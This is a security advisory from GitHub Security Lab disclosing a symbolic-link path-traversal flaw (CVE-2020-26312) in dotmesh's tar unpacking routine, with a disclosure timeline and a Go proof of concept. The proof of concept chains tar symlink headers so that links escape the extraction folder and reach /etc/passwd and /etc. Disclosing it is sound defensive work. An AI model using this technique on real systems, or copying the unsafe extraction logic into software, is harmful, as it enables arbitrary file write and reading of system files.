Coordinated Disclosure Timeline
- 2020-11-30: Requested security contact
- 2021-03-02: Deadline expired
- 2021-07-13: Publishing as per GitHub SecLab disclosure policy
Summary
The unsafe handling of symbolic links in an unpacking routine may enable attackers to read and/or write to arbitrary locations outside the designated target folder.
Product
dotmesh
Tested Version
Latest commit at the time of reporting (November 27, 2020).
Details
Unsafe handling of symbolic links in unpacking routine
The routine untarFile
attempts to guard against creating symbolic links that point outside the directory a tar archive is extracted to. However, a malicious tarball first linking subdir/parent
to ..
(allowed, because subdir/..
falls within the archive root) and then linking subdir/parent/escapes
to ..
results in a symbolic link pointing to the tarball’s parent directory, contrary to the routine’s goals.
Proof of concept, using a version of untarFile
tweaked to accept an array of tar headers instead of working from an actual tar archive:
package main
import (
"archive/tar"
"fmt"
"os"
"path/filepath"
"strings"
securejoin "github.com/cyphar/filepath-securejoin"
)
func main() {
var headers []tar.Header = make([]tar.Header, 3)
headers[0].Name = "subdir/parent"
headers[0].Linkname = ".."
headers[0].Typeflag = tar.TypeSymlink
headers[1].Name = "subdir/parent/passwd"
headers[1].Linkname = "../../etc/passwd"
headers[1].Typeflag = tar.TypeSymlink
headers[2].Name = "subdir/parent/etc"
headers[2].Linkname = "../../etc"
headers[2].Typeflag = tar.TypeSymlink
for _, hdr := range headers {
to := "/tmp/extracthere"
destPath, err := securejoin.SecureJoin(to, hdr.Name)
if err != nil {
fmt.Println("Insecure path error: %s", err)
return
}
untarFile(hdr, destPath)
}
}
func untarFile(hdr tar.Header, to string) error {
switch hdr.Typeflag {
case tar.TypeSymlink:
destPath := filepath.Clean(hdr.Linkname)
if strings.HasPrefix(destPath, "/") {
fmt.Errorf("Symlinking to absolute path is insecure: %s", destPath)
}
fmt.Println(to, destPath)
return writeNewSymbolicLink(to, destPath)
default:
return fmt.Errorf("%s: unknown type flag: %c", hdr.Name, hdr.Typeflag)
}
}
func writeNewSymbolicLink(fpath string, target string) error {
err := os.MkdirAll(filepath.Dir(fpath), 0755)
if err != nil {
return fmt.Errorf("%s: making directory for file: %v", fpath, err)
}
_, err = os.Lstat(fpath)
if err == nil {
err = os.Remove(fpath)
if err != nil {
return fmt.Errorf("%s: failed to unlink: %+v", fpath, err)
}
}
err = os.Symlink(target, fpath)
if err != nil {
return fmt.Errorf("%s: making symbolic link for: %v", fpath, err)
}
return nil
}
Impact
This issue may lead to arbitrary file write (with same permissions as the program running the unpack operation) if the attacker can control the archive file. Additionally, if the attacker has read access to the unpacked files, he may be able to read arbitrary system files the parent process has permissions to read.
CVE
- CVE-2020-26312
Credit
This issue was discovered and reported by GitHub team member @smowton (Chris Smowton).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2020-254
in any communication regarding this issue.